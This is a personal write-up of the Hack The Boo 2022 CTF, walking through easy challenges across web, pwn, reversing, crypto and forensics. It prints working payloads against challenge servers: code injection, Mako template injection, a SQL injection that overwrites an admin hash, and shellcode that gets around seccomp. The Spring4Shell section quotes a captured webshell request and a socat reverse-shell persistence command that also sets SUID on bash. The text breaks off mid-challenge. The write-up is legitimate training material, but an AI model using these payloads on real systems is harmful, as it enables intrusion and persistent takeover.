Hack The Boo 2022 | Write-Up

The Hack The Boo CTF hosted by Hack The Box included challenges from Web, Pwn, Reversing, Crypto, and Forensics. More details can be found here: https://ctf.hackthebox.com/event/details/hack-the-boo-637

The CTF was active from Saturday, 22nd Oct @ 1 PM UTC to Thursday, 27th Oct @ 1 PM UTC.


Day 1

Web/Easy – Evaluation Deck

A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?

This challenge provides a web server to connect to and the source code of that web server to investigate locally.

The web server provides a little game in which the player can flip cards and either win or lose. There isn’t much strategy involved, but it all relies on luck unless the player investigates and manipulates the code on the client side.

The game in starting position.

But winning the game does not actually reveal the flag or anything like that. Rather, the whole game is just to give context around the vulnerability.

The game when the player has won.

Whenever a card is flipped, a request is sent to the server:

Request when flipping a card.

It includes the following payload:

{current_health: "100", attack_power: "33", operator: "+"}

Obviously, this payload is what needs to be changed to gain unintended access to the server.

The source code includes the following files and folders:

Source code files and folders.

The Dockerfile explains a fair bit about the code and where the flag is located. It’s not hidden, but it’s good to know where it is to rule out possible errors later.

Dockerfile

It also shows that Flask is used as the web server. The most interesting file is the routes.py, though, as it includes the logic that handles the payloads.

routes.py

Line 27 shows that both the “current_health” and the “attack_power” get type-casted to an integer, but only the “operator” does not get checked or sanitized. More importantly, the values do not just get inserted into a math function, but are compiled and executed on the server shell, giving access to commands on that server.

After playing some rounds, I spun up Burp Suite and Foxy Proxy to intercept one of the requests and to change the payload before forwarding it to the server.

Burp Suite and FoxyProxy.

I changed the payload to {"current_health":"5","attack_power":"10","operator":"+ 2 #"} and the response was {"message":7}, confirming that the operator could itself contain other integers as well as a commenting character that influences the rest of the logic.

Knowing that, I needed to do two things:

  1. get the contents of the flag.txt
  2. transform it to numeric values

For the former, I used this snippet: open('../flag.txt', 'r').read()
(https://stackoverflow.com/a/8453077)

For the latter, I used this: ''.join(str(ord(c)) for c in 'string')
(https://flaviocopes.com/python-read-file-content/)

Putting it all together, I got the following payload:

{"current_health":"0","attack_power":"0","operator":"+ int(''.join(str(ord(c)) for c in open('../flag.txt', 'r').read())) +"}

I set “current_health” and “attack_power” to 0 to not have any impact on the valuable flag number.

Edited payload and response.

The response message was 728466123994810051954911010651991164948110115955211451957111451971163333125

These were ASCII codes that now needed to be translated back to strings. For that, I first separated the number with spaces according to what I assumed would be the distinct ASCII codes. I guess there are tools for that, but I did it manually. I knew valid ASCII codes would be between 48 and 122 mostly.

ASCII code table for reference.

The resulting codes looked like this:

72 84 66 123 99 48 100 51 95 49 110 106 51 99 116 49 48 110 115 95 52 114 51 95 71 114 51 97 116 33 33 125

Finally, I put that into CyberChef to translate it back to strings.

CyberChef decoding the ASCII codes.

Flag: HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}


Pwn/Easy – Pumpkin Stand

This time of the year, we host our big festival and the one who craves the pumpkin faster and make it as scary as possible, gets an amazing prize! Be fast and try to crave this hard pumpkin!

This challenge provides a server to connect to and some files to investigate locally.

When connecting to the server using Netcat for example, a little game is presented.

Pumpkin Stand game

The game only really consists of two choices:

  1. What to buy (Shovel or Laser)
  2. How many to buy

The player starts with 1337 so-called pumpcoins which is exactly the amount needed to buy a shovel. Buying a shovel, however, does not do anything. The player can buy multiple shovels and thus have a negative amount of pumpcoins. However, no negative amount of shovels can be bought.

Some normal inputs.

There really aren’t many files to investigate:

Files and Folders

The most promising file was “pumpkin_stand”, but upon inspecting it with Notepad++ for a bit, I decided that investigating the behavior in action a bit more would make it easier to understand how the code works.

Excerpt of pumpkin_stand

Since it was possible to go into negative money, I assumed it would also be possible to get to an integer overflow by buying too many shovels.

Testing for overflow.

Indeed, it was possible, and probably also predictable if I made some more tests or thoroughly investigated the provided code.

But before doing that, I tried to choose other items instead of the shovel and see if I could somehow get the laser without having enough money.

Trying to get the laser.

Funny enough, I got the laser super quickly without even fully understanding the integer boundary.

Flag: HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}


Reversing/Easy – Cult Meeting

After months of research, you’re ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they’ve changed their password!

This challenge provides a server to connect to and a single file to investigate locally.

When connecting to the server, there isn’t much to do. A guard asks for a password and the connection is aborted if a wrong password is entered.

Entering a wrong password.

Now, before going too heavy into reversing the “meeting” file provided, I just opened it with Notepad++ to see if there would be any human-readable strings in it.

meeting

And in fact, the password “sup3r_s3cr3t_p455w0rd_f0r_u!" was included in the file.

Gaining access using the correct password.

The password gave access to the server. In there, it was very straightforward to get to the flag.

Getting the flag on the server.

Flag: HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}


Crypo/Easy – Gonna-Lift-Em-All

Quick, there’s a new custom Pokemon in the bush called “The Custom Pokemon”. Can you find out what its weakness is and capture it?

This challenge did not provide a server to connect to, but just two files to investigate locally. One python script which implements what looks like an RSA encryption, and a second file that contains some values that could be the result of the encryption.

Naturally, the challenge was to understand how the encryption works and to reverse the progress in order to decrypt the flag using the given values.

chall.py containing the encryption code
excerpt of data.txt containing the values returned by the encryption

Without going into too much detail, the idea is relatively straightforward. We are given p, g, h, c1, and c2, and we need to solve for the other random variables, namely s, x, y, and m. Reversing m from long to bytes would return the flag in its original form as seen in line 15. Only p, g, x, and y are created randomly, while p and g are given in data.txt, so the difficult part is getting x and y. Also, what’s tricky is that some operations use the modulus which is not as straightforward to reverse, see line 18.

Reversing the modulus may seem impossible at first, but knowing that “p” is a prime number, the “extended Euclidean algorithm” can be used: https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm

With that, the steps to decryption are as follows:

  1. Use p, g, and c1 to solve for y (line 18, first part)
  2. Use h, p, and y to solve for s (line 17)
  3. Use p, c2, and s to solve for m (line 18, second part)
  4. Transform m long to bytes for FLAG

Solving for x is not necessary at that point anymore.

Now, to solve for y, s, and m. My first question obviously was how to implement the extended Euclidean algorithm in python, or rather, how to solve an equation that includes a modulus operation. Luckily, doing just enough research, I found the “gmpy2” module, which implements the “divm(a, b, m)” function which “returns x such that b * x == a modulo m. Raises a ZeroDivisionError exception if no such value x exists.” (https://readthedocs.org/projects/gmpy2/downloads/pdf/latest/)

In other words, given g, p, and c1, that function can solve for y in case there is a value so that g * y == c1 % p. To remember, the encrypting code looks like this: c1 = g * y % p.

The function to solve for s is given in line 17 already: s = pow(h, y, p)

Solving for “m” is pretty much the same as solving for “y” using gmpy2.divm().

  1. y = gmpy2.divm(c1, g, p)
  2. s = pow(h, y, p)
  3. m = gmpy2.divm(c2, s, p)
  4. FLAG = long_to_bytes(m).decode(‘utf-8’)

Putting it all together, my code looked like this:

#!/usr/bin/env python3
from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import gmpy2
import random

# setup given variables
p = redacted_for_readability
g = redacted_for_readability
h = redacted_for_readability
(c1, c2) = (redacted_for_readability, redacted_for_readability)

# calculate unknown variables
y = gmpy2.divm(c1, g, p)
s = pow(h, y, p)
m = gmpy2.divm(c2, s, p)

print("y: ", y)
print("s: ", s)
print("m: ", m)

# decode the FLAG
print("FLAG: ", long_to_bytes(m).decode('utf-8'))
Using decrypt.py.

Make sure to install the modules “pycryptodome” and “gmpy2”.

Flag: HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}


Forensics/Easy – Wrong Spooky Season

“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the `Spooky Network` and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

This challenge did not provide a server to connect to, but just a single “capture.pcap” file to investigate locally. I naturally investigated the file using Wireshark.

capture.pcap in Wireshark

The IP addresses of 192.168.1.180 and 192.168.1.166 were private addresses and thus could not be connected to. Instead, only the logs themselves could provide insights into what the website looked like.

Just for this write-up, I actually put together the website from the logs:

Website (1/3)
Website (2/3)
Website (3/3)
Files and Folders of the website

Now, knowing what the website looked like is completely unnecessary for this challenge, but I do want to note that knowing that users of the website could enter an email address does help understand how the culprit got access to the server.

What’s relevant, after all, is what the culprit did besides looking at the website via GET requests. Scrolling through the pcap file, I did find some POST requests.

First POST request.

In the first POST request, the culprit seemed to have sent something like “class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_” to the server. Doing a quick Google search on that revealed it is connected to “CVE-2022-22965” also known as “Spring4Shell”, a vulnerability in the Spring Framework that allows Remote Code Execution. More on it here: https://nvd.nist.gov/vuln/detail/CVE-2022-22965

Scrolling down the pcap file a bit more, I found further POST requests made to the server that exploit the vulnerability:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=e4d1c32a56ca15b3&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

After setting up some more variables, the culprit finally got access:

Webshell used by the culprit.

The culprit issued the “whoami” command on the server and got the response “root” shortly after. The culprit continued installing “Socat” and establishing a reverse shell.

After gaining access through port 1337 using the reverse shell, no further HTTP GET or POST requests were made to the server as those were no longer necessary. Instead, TCP requests on port 1337 were made.

The culprit first asked the server for “id”, “groups”, and “uname” and got the following information:
uid=0(root) gid=0(root) groups=0(root)” | “root” | “5.18.0-kali7-amd64

The culprit then used “cat /etc/passwd” to get the users and credentials, followed by “find / -perm -u=s -type f 2>/dev/null” to see how they could escalate their privileges and gain persistent access using SUID by finding a file owned by root. More on that: https://medium.com/@balathebug/linux-privilege-escalation-by-using-suid-19d37821ed12

Finally, what they did was: “echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

The .bashrc file is a configuration file and its contents are loaded whenever the user logs in. The culprit basically put their reverse shell in there. As evidence that this is indeed the key point, the flag of this challenge is also located here. The string “==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS” is reversed and then put to /dev/null, i. e. thrown into the trash. It’s just there for us to see. The string strongly looked like base64 to me because of the character set and the two equality signs at the front (or the back, actually).

Reversing and decoding the string revealed the flag:

CyberChef reversing and decoding the flag.

Flag: HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}


Day 2

Web/Easy – Spookifier

There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

The challenge provides a web server and the source code of that to test locally.

The website contains an input field to enter some text which gets transformed into four different fonts in the backend.

Spookifier website in action.

The source code includes the following files:

Files and Folders

The Dockerfile reveals the location of the flag and that Flask is used as the web server combined with Mako as the templating library.

Dockerfile

The vulnerability lies in util.py where the text input gets transformed and inserted into the template.

excerpt of util.py

This allows for Server Side Template Injection. Usually, the input data should not be inserted into the template directly, but rather the template and the data should be separated and data should be sanitized. Injecting a payload is very easy as it just needs to be wrapped in ${}.

For example, a proof of concept would be “${self.module.cache.util.os}” which results in the following:

Proof of concept.

Getting the flag was then just as easy:

${open("/flag.txt").read()}

Getting the flag using SSTI.

Flag: HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}


Pwn/Easy – Entity

This Spooky Time of the year, what’s better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what’s definitely not better? Something coming out of your TV!

The challenge provides a server and the source code. The server can be connected to using Netcat for example.

When connecting to the server, a little horror story can be played.

Playing the horror story.

The source code contains the following files:

Files and Folders

The entity file is basically the binary of the program and doesn’t provide much more insight. The entity.c file, however, reveals the logic.

entity.c (1/2)
entity.c (2/2)

Using trial and error and investigating the file for a bit, I realized that using “T” in the game enables the player to write to either an integer or a string, while using “R” reads from either of the two. Using “C” reveals the flag under the condition that the integer value is 13371337 (line 96). Now the catch is that it is not allowed to set the integer to 13371337 directly (line 71). Luckily, the integer value is also set whenever the string value is set (line 77). Also, the string is limited to 8 characters.

Knowing all that, I experimented a bit using Netcat to see what string values would result in what integer values.

testing some inputs

But I quickly realized I needed a more sophisticated approach and used pwntools to enter the data. What really helped me to understand it is this tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md

After fiddling with it for a bit, my script looked like this:

Basic pwntools script.

As this was pretty new to me, I slowly tried to find the correct byte input to get 13371337 as the integer.

Trying different byte inputs with pwntools.

The math is pretty simple, though:

Each character can hold a value from 0 to 255, and each character is multiplied by 256 to the power of the position. So by entering \xff\x00\x00\x00\x00\x00\x00\x00, I got 255, and by entering \xff\xff\x00\x00\x00\x00\x00\x00, I got 65535. \xff\xff\xff\x00\x00\x00\x00\x00 resulted in 16777215.

The correct byte value to enter is, therefore: \xc9\x07\xcc\x00\x00\x00\x00\x00, since c9 = 201, 07 = 7, and cc = 204, and 201 + 7*256 + 204*256*256 = 13371337, which is another way to say that dec(13371337) = hex(CC07C9), but since the smallest byte is in the front (Little Endian), the byte array had to be reversed. I honestly had to get there kind of by trial and error even though I knew most of these concepts before, but it worked in the end.

Since I would not want to do it the same way again the next time, I decided to read a bit more about pwntools and how it works. Turns out, what I did could also be done with built-in tools: https://github.com/Gallopsled/pwntools-tutorial/blob/master/utility.md#packing-and-unpacking-integers

So instead of defining the byte arrays myself, I could just generate them using pack(13371337)+pack(00000000). Using just the first pack does not work as the resulting number would be way too big in 32-bit representation.

So the final code was as follows:

from pwn import *

conn = remote('161.35.33.46',32041)
print(conn.recvuntil(b'>>', drop=True)) 
conn.send(b'T\r\n')
print(conn.recvuntil(b'>>', drop=True)) 
conn.send(b'S\r\n')
print(conn.recvuntil(b'>>', drop=True))

payload = b''+pack(13371337)+pack(00000000)+b'\r\n'
print("payload", payload)
conn.send(payload)
print(conn.recvuntil(b'>>', drop=True)) 
conn.send(b'R\r\n')
print(conn.recvuntil(b'>>', drop=True)) 
conn.send(b'L\r\n')
print(conn.recvuntil(b'(C)ry', drop=True))

conn.send(b'C\r\n')
print(conn.recvline()) 
print(conn.recvline()) 
print(conn.recvline())
conn.close()

And this was the result:

Getting the flag

Flag: HTB{f1ght_34ch_3nt1ty_45_4_un10n}


Reversing/Easy – EncodedPayload

Buried in your basement you’ve discovered an ancient tome. The pages are full of what look like warnings, but luckily you can’t read the language! What will happen if you invoke the ancient spells here?

This challenge provides just a single file called “encodedpayload”.

I first tried to open it with Notepad++ to see if I could read anything, then had CyberChef take a look at it, but nothing helped. So I assumed the code was actually a binary that would do something, but running it didn’t seem to do anything. Googling for “reversing ctf binary” and similar keywords, I found – among many other tools like Ghidra and Radare2 – “strace”, which is kind of a debugger for binaries: https://strace.io/

Finding that tool definitely took longer than using it. Just a simple “strace ./encodedpayload” did the trick.

strace output

Among many commands that I didn’t bother investigating in detail was the flag.

Flag: HTB{PLz_strace_M333}


Crypto/Easy – Fast Carmichael

You are walking with your friends in search of sweets and discover a mansion in the distance. All your friends are too scared to approach the building, so you go on alone. As you walk down the street, you see expensive cars and math papers all over the yard. Finally, you reach the door. The doorbell says “Michael Fastcar”. You recognize the name immediately because it was on the news the day before. Apparently, Fastcar is a famous math professor who wants to get everything done as quickly as possible. He has even developed his own method to quickly check if a number is a prime. The only way to get candy from him is to pass his challenge.

The challenge provides a web server to connect to using Netcat for example and a single python file to test the server’s code locally.

When connected to the server, it asks for a “p” value. Brute-Forcing is not advised and practically impossible anyways.

The server script is easy to read, but difficult to fully understand.

server.py (1/3)

The entry point starts off great as “p” needs to satisfy both “_isPrime()” and “not isPrime()” at the same time. One of which is a python standard implementation, and the other one is custom and included in the script.

server.py (2/3)

The local prime check is done using the Miller-Rabin test (https://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test), which is a probabilistic primality test. I’m not an expert on that, but in short: It takes a “base” (300 in this case) and checks if there are any indicators (so-called witnesses) that suggest “p” could be a prime number.

server.py (3/3)

Fortunately, I didn’t have to understand all the maths, because I actually didn’t understand most of it, like the generation of the basis.

From the code I assumed a few things:

  1. p has to be something that does _not_ look like a prime to python
  2. p has to be something that does look like prime to the Miller-Rabin-Test using a base of 300
  3. p has to be positive

I also tried using “2” and “3” since the bit_length() check on line 65 seemed to be bugged ((p.bit_length() <= 600) and (p.bit_length() > 1500)) since both of those conditions may never be true at the same time, but 2 and 3 did not work.

So I googled for some numbers that would pass the Miller-Rabin test without being prime numbers but didn’t find any because I didn’t know what exactly to look for. However, one more thing to investigate was the title of the challenge: Carmichael.

Carmichael numbers are – again – not something I could explain: https://en.wikipedia.org/wiki/Carmichael_number

But they seem to “constitute the comparatively rare instances where the strict converse of Fermat’s Little Theorem does not hold.” while that same little theorem is part of the Miller-Rabin test and it feels like this could be a rabbit hole I might jump into later.

What matters is this: Those Carmichael numbers might be the ones to enter as “p” as they might pass the Miller-Rabin test without being prime numbers. So I googled for some of those numbers and this time I actually did find some of them: https://primes.utm.edu/glossary/page.php?sort=CarmichaelNumber

I tried those numbers under 100,000 but quickly realized that this was no better than brute force. I mean, trying 100,000 numbers on a local machine would not take all that long. That’s why I tried to find a Carmichael number that specifically passed the Miller-Rabin test for base 300. Googleing [carmichael miller-rabin base 300] brought me to some interesting scientific papers, but also to this repository: https://gist.github.com/keltecc/b5fbd533d2f203e810b43c26ff9d17cc

That repository contains “an example of Miller-Rabin primality test breaking” using the following value for p:

99597527340020670697596886062721977401836948352586238797499761849061796816245727295797460642211895009946326533856101876592304488359235447755504083536903673408562244316363452203072868521183142694959128745107323188995740668134018742165409361423628304730379121574707411453909999845745038957688998441109092021094925758212635651445626620045726265831347783805945477368631216031783484978212374792517000073275125176790602508815912876763504846656547041590967709195413101791490627310943998497788944526663960420235802025853374061708569334400472016398343229556656720912631463470998180176325607452843441554359644313713952036867
Using p to get the flag.

I’m pretty sure there are other numbers that would work for p. Probably infinitely more. I guess I was supposed to generate one myself, but I’m better at OSINT than Crypto.

Flag: HTB{c42m1ch431_num8325_423_fun_p53ud0p21m35}


Forensics/Easy – Trick or Breach

Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office’s security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel’s computers, which allowed the hackers to gain access to the company’s systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?

This challenge provides a single PCAP file that can be investigated using Wireshark for example.

Upon opening the PCAP file, I quickly realized that there wasn’t much to see except a whole lot of DNS requests.

PCAP opened in Wireshark

After googling the IP address, I noticed it seems to be used for other Hack The Box CTFs regularly. The domain, pumpkincorp.com, also seemed a bit out of scope, so I did what I immediately thought I needed to do and googled how to investigate DNS entries of a PCAP file.

Each request to pumpkincorp.com has a hex string prepended to it similar to a subdomain. Those hex strings can be converted using CyberChef for example. After some initial tries, I almost wanted to try something else because I didn’t find anything useful, but some of the decoded hex strings were readable.

Decoding a hex string.

So my plan was as follows:

  1. Get all the hex strings
  2. Remove the duplicates that result from request + response
  3. Decode all of them
  4. ???
  5. Flag

I used “strings” on Kali to get the contents of the PCAP file. That got me started pretty good but resulted in too many lines and I realized that for some reason, all hex values had a “2” prepended to them. Since all the unnecessary lines between the hex values were shorter than the hex values I used the “n” flag and only took those strings that had a length of 51, since that was the length of the hex values (including the 2s).

strings -n 51 capture.pcap

To get rid of the duplicates, I used “uniq”.

strings -n 51 capture.pcap | uniq

And to get rid of the 2s, I used the stream editor (sed) to replace every leading occurrence of 2 with nothing.

strings -n 51 capture.pcap | uniq | sed 's/^2//g'

Finally, I put the resulting list into a hex.txt.

strings -n 51 capture.pcap | uniq | sed 's/^2//g' > hex.txt

Now I did say all the hex values were 50 characters long, but that wasn’t true. The last one was just 2 characters long, namely “00”, so I added those manually.

The last hex value is 00.

Putting all of that into CyberChef was not as revealing as I hoped.

CyberChef decoing all hex values.

The recipe: Link

However, the occurrence of “worksheet” on multiple occasions lead me to believe that this was somehow an excel file, so I googled if it was possible to get an xlsx file from byte code, and indeed, it can be done in CyberChef by simply saving the output as an xlsx file.

Opening that xslx file revealed the flag.

The xlsx file as exported from CyberChef.

Flag: HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}


Day 3

Web/Easy – Horror Feeds

An unknown entity has taken over every screen worldwide and is broadcasting this haunted feed that introduces paranormal activity to random internet-accessible CCTV devices. Could you take down this streaming service?

This challenge provides a web server and the source code.

The web server has a basic login and registration form on the home page.

Horror Feed home page.

Registration and login work as expected. Upon logging in with a registered account, the website redirects to a dashboard.

Horror Feeds dashboard.

The source code includes the following files and folders:

Files and Folders

Some interesting bits: The registration and login use an SQL database, so that might be vulnerable to SQL injection.

database.py including register and login logic

The bashboard.html has a part that is only visible if the logged-in user has the username “admin”. One bit that is only then displayed is the “flag”.

excerpt of dashboard.html showing the flag for the admin user

The website uses JWT tokens, so it might not be possible to just spoof the session cookie.

My initial idea was to just create the admin account myself, but naturally, it already existed. So my next approach was to get the users table and just dump all passwords and then crack the admin hash with John the Ripper. I used SQLmap for the SQL injection like so:

sqlmap -r ~/Desktop/request --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump

The “horror_feeds” database is seen in the database config in the source code. The “users” table can be seen in the login and register functions. My request file looked like this:

POST /api/register HTTP/1.1
Host: 142.93.35.129:30912
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://142.93.35.129:30912/
Content-Type: application/json
Origin: http://142.93.35.129:30912
Content-Length: 37
Connection: close

{"username":"admin","password":"admin"}

I tried the “login” route first, but that wasn’t vulnerable. Also, I used “admin” as credentials in case that would somehow create a second admin user or overwrite the first one. But it didn’t. The result looked somewhat like this:

SQLmap users dump

Using the register route created a whole bunch of new accounts. Only the first one, the admin, was of interest, but unfortunately, the password was not a BCrypt hash similar to the other accounts. I tried somehow decoding or cracking it using CyberChef and JtR anyways, but that didn’t result in anything.

My general idea was then to edit the existing admin password. Since I now had valid BCrypt hashes anyways, I would just need to update the admin account. The problem was this, though: The register function was “inserting” new records, but the “admin” account already existed. SQLmap informed me that stagged queries were not possible, so I had to do the update within the insert query, so to say. Luckily, MySQL has a way to update an existing record in case it already exists when trying to insert it. The syntax is pretty straightforward: “INSERT … ON DUPLICATE KEY UPDATE”. As a reminder, the register code looks like this where the “username” value is to be exploited:

INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")

So I wanted something like this:

INSERT INTO users (username, password) VALUES ("admin", "secondvalue") ON DUPLICATE KEY UPDATE password = 'actual hash'

Thus, the resulting query to be injected into the username field looked like this:

admin","randomstring") ON DUPLICATE KEY UPDATE password = '$2b$12$1NFU5KgzRuzuwL1OVqLGyuY6VVz7wRhnMofgbbBNoLUxT1v1sjQ1W' -- -

The input for the password field was irrelevant. The server responded with “User registered”.

Sending the payload.

Going into the dashboard again revealed the flag:

Admin dashboard including the flag.

Flag: HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}


Pwn/Easy – Pumpking

Long live the King! Pumpking is the king of our hometown and this time of the year, he makes wishes come true! But, you must be naughty in order to get a wish.. He is like reverse Santa Claus and way cooler!

This challenge provides a server to connect to as well as some files to test locally.

Files and Folders

When connecting to the server using Netcat, the “pumpking” needs a password and grants a wish. The password can easily be read from the pumpking binary using “strings” or opening it with Notepadd++.

Connecting to the server.

The difficult part is making a wish. In the Dockerfile, seccomp is installed, securing the server from commands like “cat”. The Dockerfile also reveals that the flag is located at /home/ctf/flag.txt.

Dockerfile showing seccomp

Getting around seccomp can be tricky and I had to do many trials and got many errors, but the first thing I did was to get the current seccomp rules from the binary.

seccomp-tools dump of the binary

This shows that “openat”, “read”, and “write” are all allowed, giving us basically everything we need to read file contents and write them to the standard output buffer.

I used pwntools to “send” shellcode to the server to read the flag. This was my final working code:

from pwn import *

context.arch = 'amd64'
shellcode  = shellcraft.openat(0, "/home/ctf/flag.txt")
shellcode += shellcraft.read(5, 'rsp', 100)
shellcode += shellcraft.write(0, 'rsp', 100)
#print("shellcode:", shellcode)

conn = remote("142.93.39.188", 31791)

print(conn.recvline()) 
conn.send(b"pumpk1ngRulez")
print(conn.recvline())
conn.send(asm(shellcode))

conn.interactive()

The shellcode created by pwntools looked like this:

Shellcode as created by pwntools.

Setting the arch to “amd64” was necessary because the remote server was a 64-bit system: https://docs.pwntools.com/en/stable/context.html

For openat, read, and write refer to: https://python3-pwntools.readthedocs.io/en/latest/shellcraft/amd64.html

Also, for file descriptors: https://en.wikipedia.org/wiki/File_descriptor

Using “conn.interactive” at the end is to read everything up to the next input, basically. Reading three lines would also work.

Using pwntools with shellcraft on the server.

Flag: HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}


Reversing/Easy – Ghost Wrangler

Who you gonna call?

This challenge provides a single file called “ghost”.

My initial approach was as simple as always: Use “strings” on the file and see if anything stands out.

Excerpt of “ghost” strings.

So there were multiple readable lines. Notably, one that said “get_flag” and one that said “I’ve managed to trap the flag ghost in this box, but it’s turned invisible! Can you figure out how to reveal them?”

Initially, I thought I’d need to unwrap the file somehow like doing a binwalk, but I noticed that right above that readable sentence was a peculiar string that was not readable but also not machine code: [GQh{'f}g wLqjLg{ Lt{#`g&L#uLpgu&Lc'&g2n%s

Considering how out of place it seemed and how it had a length that would fit a flag, I wanted to see if CyberChef would get anything out of it.

CyberChef on the string.

Flag: HTB{h4unt3d_by_th3_gh0st5_0f_ctf5_p45t!}


Crypo/Easy – Spooky RSA

It was a Sunday evening when, after years, you managed to understand how RSA works. Unfortunately, that changed when the worst villain ever decided to dress up like RSA and scare people who wanted to learn more about cryptography. But his custom uniform has a hole in it. Can you find it?

This challenge provides a python script and an output.txt file. As with the other crypto challenges before, the goal is to reverse the encrypting algorithm using the output values.

This time around, the script does not contain too many lines of code:

chall.py containing the encryption algorithm

The output.txt contains N, e1, c1, e2, and c2.

I had to do quite a lot of research as well as some trial and error, but it’s pretty basic math at the end of the day. As before, the flag is stored in m, which during the “encrypt” function, is encrypted using priv[0] that gets created as “p” in “key_gen”. So to get m, I first needed to get “p”.

What helped getting there was this video: https://www.youtube.com/watch?v=nJFAUgecBJc

Again, I don’t understand it enough to explain it myself, but the idea is that “p” can be retrieved using c1, c2, and N using the greatest common divisor because the “key_gen” function uses two prime numbers to create N (line 9) which is then used as modulus when creating c1 and c2 (line 15 + 16). The python script for “p” is thus:

p = math.gcd(c1 - c2, N)

Using “p” helps getting “m” during the decryption using this line:

m = (c1 - pow(p,e1,N)) % N

So my complete script looked like this:

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
import math

# setup given variables
N = redacted_for_readability
(e1, c1) = (redacted_for_readability, redacted_for_readability)
(e2, c2) = (redacted_for_readability, redacted_for_readability)

# calculate unknown variables
p = math.gcd(c1 - c2, N)
m = (c1 - pow(p, e1, N)) % N

print("p", p)
print("m", m)

# decode the FLAG
print("FLAG: ", long_to_bytes(m).decode('utf-8'))
Running the decryption script.

Flag: HTB{5h45_w4$_sUpp0s3d_50_b3_m0r3_s3cUr3_th4n_R$4}


Forensics/Easy – Halloween Invitation

An email notification pops up. It’s from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.

The challenge provides a zip archive containing a DOCM file called invitation.docm. On Windows, an anti-virus usually detects malware in that file, because it contains suspicious VBA macros.

To analyze it, I downloaded it in a Kali VM and first took a look at it opening the file with LibreOffice, but of course, the macro was obfuscated.

invitation.docm opened with LibreOffice
obfuscated macro

To make a proper analysis, I tried to use olevba (https://github.com/decalage2/oletools/wiki/olevba) but had no luck with that. After some research, I found ViperMonkey (https://github.com/decalage2/ViperMonkey) and tried that.

Excerpt of running ViperMonkey.

This created a history.bak file containing the following string:

